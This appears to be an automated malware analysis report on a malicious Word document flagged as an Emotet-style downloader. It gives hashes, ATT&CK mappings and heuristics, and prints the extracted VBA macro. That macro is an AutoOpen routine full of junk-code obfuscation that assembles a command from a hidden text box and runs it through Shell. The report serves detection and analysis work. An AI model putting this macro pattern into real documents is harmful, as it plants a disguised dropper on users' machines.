Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3b34e6a5f52846a7…

MALICIOUS

Office (OLE)

130.4 KB Created: 2018-12-17 21:25:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: b832a741b3f36003750f6a05cc16d15d SHA-1: 7383fbcf3ab1e020758df02ea66115d2674181e8 SHA-256: 3b34e6a5f52846a7a080fa504f68cf04e6755da23ebf32bd81549dc36583fba2
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro is present and triggers the execution of cmd.exe and PowerShell, as indicated by critical and high severity heuristics. This suggests the macro's purpose is to download and execute a second-stage payload. The ClamAV detection 'Doc.Downloader.Emodldr-6787857-0' further supports this downloader functionality.

Heuristics 10

  • ClamAV: Doc.Downloader.Emodldr-6787857-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emodldr-6787857-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          sQoDdfKSfNOjwJBTvd = 154665833 - iIjWBYpmwSMULdRu
jjLiM = Array(lrCssBzMz, njjRB, pXUNA, Interaction.Shell(wfuZCtMmORO, TNhsaHj), YVsGwsuoz)
   uwstqpzJrPiOzGtO = KvBLmHuUABopOOCOvpr * Rnd(29630505 / Sin(AutTjdQISZShRjUtAHpzYp)) / Wfd + Int(263226271 - Rnd(64652874 - Tan(131998310) * 186121012 - Cos(jAERCJlJBHrGii)) / 79611095 * Sin(228038221 / Tan(182274644) / 145895500 / Hex(48243067))) + 322995989 + CStr(222332811) - 223019604 / CLng(138717218) * 308965715 - Fix(220399094 - Hex(11555511) * 44022416 / ChrW(KGkzDbjINIPYjXTlI / 7429320))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
zwPXft
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9237 bytes
SHA-256: c6cfe5610963e3d31260b7b27c8ff22c46ac616a0070c195fe1ffd87d97a9e4d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
130 of 161 identifiers look randomly generated (e.g. 'TcLiIvfUmYzzJiOamuawZMRn') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ApalsKQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
zwPXft
End Sub

Attribute VB_Name = "ltjBsNO"
Function zwPXft()
On Error Resume Next
   PDZamUunfzmuzCAabJwJARdc = vpXTNEmGqYkzoCGZRz * Rnd(160370853 / Sin(hwJKVEnmlvwZzDq)) / Wfd + Int(206283720 - Rnd(147188049 - Tan(127946084) * 119606465 - Cos(znIdPdnGpkjRFWpwfNzJQAV)) / 308780673 * Sin(173552179 / Tan(74487455) / 342183607 / Hex(240788050))) + 77370206 + CStr(180370276) - 20699318 / CLng(331905111) * 222419559 - Fix(208288110 - Hex(40513627) * 302324140 / ChrW(jusQhwAMjUaOuzJVIbzSOD / 30312919))
      CuOhkjZQvGzSFsjDUitr = 169710292 - RbtcZDHbbcqPOmiTbw
   TcLiIvfUmYzzJiOamuawZMRn = AMkvCJwqiDzdvpaVmKXQ * Rnd(25015520 / Sin(wnlWRljWGLYEHivYjO)) / Wfd + Int(7215986 - Rnd(57091598 - Tan(180753120) * 179597481 - Cos(zqFAbmBtWZhPwJfsN)) / 66222822 * Sin(74647637 / Tan(318960696) / 262656955 / Hex(31323361))) + 285002796 + CStr(218895566) - 283882852 / CLng(169289305) * 87899871 - Fix(176529127 - Hex(56751966) * 104163462 / ChrW(rVYofMlEkERCfaTwPEWnwQi / 182291753))
      zYICZbkGiquYUzfcFbrVBMH = 158238454 - zWlbwbqwwjocCKdhwAj
   BYPjwmQmRTLHURsGcsmAvS = utBXzVIQkBFEPSzWci * Rnd(26427653 / Sin(nwhGrrTvpkksiC)) / Wfd + Int(135239136 - Rnd(276006104 - Tan(328492686) * 100708399 - Cos(QIDaGOMdndVKVrPjw)) / 79165229 * Sin(305079609 / Tan(208512040) / 50158320 / Hex(12992907))) + 83930110 + CStr(177207698) - 340432905 / CLng(111686680) * 90495599 - Fix(145118561 - Hex(85609159) * 331113468 / ChrW(YNNnujXbrfNfSUa / 95902239))
      TTYdDjJOwcbpBq = 109752404 - UwzIDUzYkCAtWuGYCMCtaf
   UXhFBLsASUZaBIoUFhlOEcz = IcrqIcUVusRIMwT * Rnd(228352527 / Sin(HTsUJNAqwWYaqnr)) / Wfd + Int(154557360 - Rnd(164739790 - Tan(325228713) * 163903648 - Cos(BrpADjJrfIJNDGzJHn)) / 333909523 * Sin(96224591 / Tan(280647403) / 338295280 / Hex(66602294))) + 43199891 + CStr(320469582) - 309954160 / CLng(27509387) * 32741065 - Fix(173233959 - Hex(243060101) * 256930130 / ChrW(uOGPdsQdEJLqMKXjqhQlwKdC / 222661856))
      DIbEQuVKSoAhjPXVKjoUt = 251575589 - UOsUBAkkDhtoHBAtQV
   zLpXYQkbtlZYmDOibBlSZ = IcipGntBjDjhwENOiZ * Rnd(140701779 / Sin(dFBKmiDotSMELiDNp)) / Wfd + Int(234356560 - Rnd(65716458 - Tan(325829294) * 222803042 - Cos(FVrEHKQMWLwGqCaXCcjFINr)) / 187433822 * Sin(140463527 / Tan(113801825) / 7091019 / Hex(3958737))) + 165996415 + CStr(308237313) - 104947787 / CLng(157214840) * 243564838 - Fix(249685543 - Hex(5564713) * 212769278 / ChrW(iWtXjvAHFoAmRhhNc / 234855333))
      dPjqJPncvYVEBuEUGphbSqU = 103803366 - ANHNiJICJCDwfkHsTFik
Const TNhsaHj = 0
   wJiMkqzMUzDvwwu = FRzOanjZiGUYOtQs * Rnd(135445379 / Sin(mrGjsNEwWCDabozHhV)) / Wfd + Int(326222769 - Rnd(9419750 - Tan(201756977) * 58358973 - Cos(JdiVbwbhKbdJCFWYjKdR)) / 198747544 * Sin(145872598 / Tan(55373296) / 199257520 / Hex(210910914))) + 180953109 + CStr(44412704) - 75378929 / CLng(306914240) * 310329626 - Fix(126025629 - Hex(278990626) * 196659809 / ChrW(zFOrdwuVszwfuCLzN / 284121093))
      rwnVzpzrQmPImf = 259075892 - QKsjfWIdJfAjEzz
   sJfmJOazJqJqOw = wVjfGinzPHfiDtZwSh * Rnd(322819832 / Sin(kJzwdtqMtizFGAZZbpjXFLPf)) / Wfd + Int(194209223 - Rnd(209092080 - Tan(154277586) * 28819514 - Cos(srIRzmnVnBNoaElHacCTA)) / 154534179 * Sin(187246133 / Tan(328000232) / 169909220 / Hex(302894997))) + 164341933 + CStr(304680866) - 134391686 / CLng(125230939) * 329741012 - Fix(142304926 - Hex(251621263) * 184672180 / ChrW(nqnGOmDnnWjiHi / 153842099))
      DUkkUOKrFNsBUD = 288130265 - wCwRmVohwjobqP
   BZIELMRUSaAYuMLTOt = LPGkzPqiIwbPItBntiLiVOc * Rnd(176126646 / Sin(wHCdrEdjGGEvoLpUhJXqLsis)) / Wfd + Int(165026824 - Rnd(116103339 - Tan(271182203) * 19652021 - Cos(YwmfoBHoAQswjBnzs)) / 33413548 * Sin(126902928 / Tan(144076192) / 62073779 / Hex(264206612))) + 34082649 + CStr(36618599) - 239239463 / CLng(241285697) * 27670840 - Fix(193121100 - Hex(60278169) * 31062552 / ChrW(PaQiKRPzJijjsfsbqrv / 213357445))
      VhGkrjvEwifwrcXS = 125841699 - fdFJndHMasINmNYNttKz
   dHpAFzDbIKmwIBEK = vAsQHwKfnwXHEAwKAENiFOSj * Rnd(290231639 / Sin(lpaWvztGndzzWJiURDj)) / Wfd + Int(136825258 - Rnd(28507679 - Tan(65640074) * 281744810 - Cos(IzqbshhIYfMVERAYNzNSMC)) / 223067364 * Sin(26504932 / Tan(26246275) / 240860389 / Hex(321073921))) + 100833820 + CStr(23544608) - 153406381 / CLng(156061660) * 180213863 - Fix(335362512 - Hex(265028210) * 89900743 / ChrW(IROFvoZrwJPACHHGwXZFPmXH / 241168262))
      EAHlWQDDPvjHXYdqH = 306127735 - wNvQRibOHiWuGVcjYj
   AGTijwuUVCYBdaAV = rJTXsJnDfzmSaaIRq * Rnd(214923138 / Sin(UvkDirOKwSObCjGCo)) / Wfd + Int(322174312 - Rnd(250909726 - Tan(52268538) * 320504984 - Cos(fAwHBubQkmtlATGFkjiz)) / 270225389 * Sin(241939282 / Tan(113810243) / 147446892 / Hex(239206846))) + 232114367 + CStr(130759243) - 160180639 / CLng(131893973) * 132096397 - Fix(29827442 - Hex(162654601) * 116550869 / ChrW(QkFbpTiiibhQimviMFdwqu / 231866183))
      XSaDwQhVUMDWAJqLRGCp = 269770367 - AjclHwvUwVBcDWtimR
wfuZCtMmORO = ApalsKQ.TextBox1.Text + wzsLWpAB + GvCvUtBd + fdnoFJ + oFHvHVzN + upaMf + RTjXantE + AiwKtDFN + jVRorF + RUpQLCkK + NRNqOY
   IUvoIMqtLQDrRORITSolAC = OoJDYSUDIXRczAlZlsFuop * Rnd(105166056 / Sin(aqtSbqOpFhhAzJSaqMv)) / Wfd + Int(128117068 - Rnd(337939483 - Tan(254000615) * 129715710 - Cos(itDtuIwYYichZBc)) / 112152674 * Sin(60718851 / Tan(189080572) / 148264115 / Hex(105518124))) + 121343455 + CStr(243882881) - 172756331 / CLng(180075732) * 167238514 - Fix(205538671 - Hex(25682014) * 180715654 / ChrW(wboWlkhnUuziJcRhkAokiKW / 105736501))
      pzTcUPEXibGoLo = 116116437 - doiZhJIIuoiPqPmFYTvnOLA
   PwEdVtDiPLJchTsLjikKzBjM = RTwfAZkivdfaoRJcrOwo * Rnd(159805507 / Sin(wzpfhfWwNSswEaHwOmZt)) / Wfd + Int(256140810 - Rnd(280137245 - Tan(83174390) * 242010982 - Cos(QbhImjXIkUwqVrELwPNhrNi)) / 140810218 * Sin(297240059 / Tan(341905277) / 70406671 / Hex(96800997))) + 199514890 + CStr(300713468) - 51060870 / CLng(259051474) * 32126180 - Fix(237313749 - Hex(111154707) * 30370978 / ChrW(oaiVoTGKItuVhoazDEDsMO / 257176867))
      JiqMJllazWJpiMCtcKk = 41546109 - twEjoBfNMcZnJMKdt
   crNjnCHiQvjwqJsjrQiMrwMk = ZaIrTnvUDQZWda * Rnd(309683478 / Sin(pUdLVTVLQiiXoEffcfOcwq)) / Wfd + Int(323443593 - Rnd(51224180 - Tan(268099114) * 201731460 - Cos(tTJOqnXCbiZfFFwakJXfzk)) / 302093340 * Sin(305347185 / Tan(330574225) / 79282651 / Hex(124956127))) + 279841442 + CStr(335045038) - 155613429 / CLng(145477607) * 149821104 - Fix(279764948 - Hex(214405194) * 186825304 / ChrW(HUokRCEzDzIWCQMwRwoIZOQ / 201226667))
      jDEMCpZdETPUmOwjwr = 334400736 - woiKXFrsTSsEJP
   fGwDMCjLUkSHFuwQjcGVBhi = WpfSwHZcjmRZPncRTfRdbTD * Rnd(41806031 / Sin(YnJbVqzbBjXXRONLpaScXAt)) / Wfd + Int(4675813 - Rnd(275139515 - Tan(15657129) * 142155122 - Cos(BTCmZYYTPBKwUzOGF)) / 300863320 * Sin(13422912 / Tan(114459129) / 25317787 / Hex(116788103))) + 249749995 + CStr(296719522) - 243526861 / CLng(194502587) * 148178905 - Fix(155530841 - Hex(305626048) * 59965836 / ChrW(TUjaidkwsquwoPVIammvwA / 27695994))
      jhJBvCAYGPrbnWjd = 133746368 - JbJVzdPVwlHNpSQUqATjCppV
   nRcQnzcjaEzAAiAXazqH = rPiMbQZNkSGkvXCDOW * Rnd(261961796 / Sin(kLjiXEmzVEwvhGwCt)) / Wfd + Int(30242573 - Rnd(74092293 - Tan(216902766) * 19834496 - Cos(pmqQELwTLdCrljfAoX)) / 193830913 * Sin(167158619 / Tan(286339890) / 209064931 / Hex(128395671))) + 73602185 + CStr(18557909) - 272781303 / CLng(180281999) * 342177414 - Fix(65917609 - Hex(68161582) * 71532720 / ChrW(NOVzrHAbBBtUtpU / 104934476))
      sQoDdfKSfNOjwJBTvd = 154665833 - iIjWBYpmwSMULdRu
jjLiM = Array(lrCssBzMz, njjRB, pXUNA, Interaction.Shell(wfuZCtMmORO, TNhsaHj), YVsGwsuoz)
   uwstqpzJrPiOzGtO = KvBLmHuUABopOOCOvpr * Rnd(29630505 / Sin(AutTjdQISZShRjUtAHpzYp)) / Wfd + Int(263226271 - Rnd(64652874 - Tan(131998310) * 186121012 - Cos(jAERCJlJBHrGii)) / 79611095 * Sin(228038221 / Tan(182274644) / 145895500 / Hex(48243067))) + 322995989 + CStr(222332811) - 223019604 / CLng(138717218) * 308965715 - Fix(220399094 - Hex(11555511) * 44022416 / ChrW(KGkzDbjINIPYjXTlI / 7429320))
      TMHMnMfTwfJjACWw = 308662173 - rCCuDVTGiQKOjmjqmCD
   VhjNtRAPJKzAifVFFo = XlMUPQiUwqQGXuYCVdCb * Rnd(188421981 / Sin(MvTtIsmZlHTGSk)) / Wfd + Int(57377005 - Rnd(86377675 - Tan(112753519) * 318699517 - Cos(zCYsDcGJcAcCNBXZ)) / 110218565 * Sin(7948401 / Tan(144930341) / 57224463 / Hex(275347868))) + 223746033 + CStr(167284590) - 34653256 / CLng(55146712) * 260827654 - Fix(110971346 - Hex(182803754) * 264034187 / ChrW(ILGPiznCPRBjJZJFFEvKrLv / 261475055))
      PcTkQLiVirQwzXZlOl = 28334144 - GYAwDiMjdCwQSuP
   szkRHYVumtfEZQIiosv = tJTnIUnoIZZrXjMTKU * Rnd(279956665 / Sin(WDjKPVEuvphhqJfi)) / Wfd + Int(200777651 - Rnd(328582443 - Tan(62539369) * 254113132 - Cos(hlMTnhqEpXUCjzpcIXmQt)) / 292533224 * Sin(122344251 / Tan(289338781) / 291781820 / Hex(7869386))) + 89985132 + CStr(30369515) - 198877425 / CLng(267849024) * 84916532 - Fix(70431359 - Hex(25843534) * 178251601 / ChrW(STqbnOqGSMiGKpFVZWWspS / 138074062))
      mTlZAKJwIJWISwzCDlA = 205021678 - uDOYTmohjzzwPoTc
End Function

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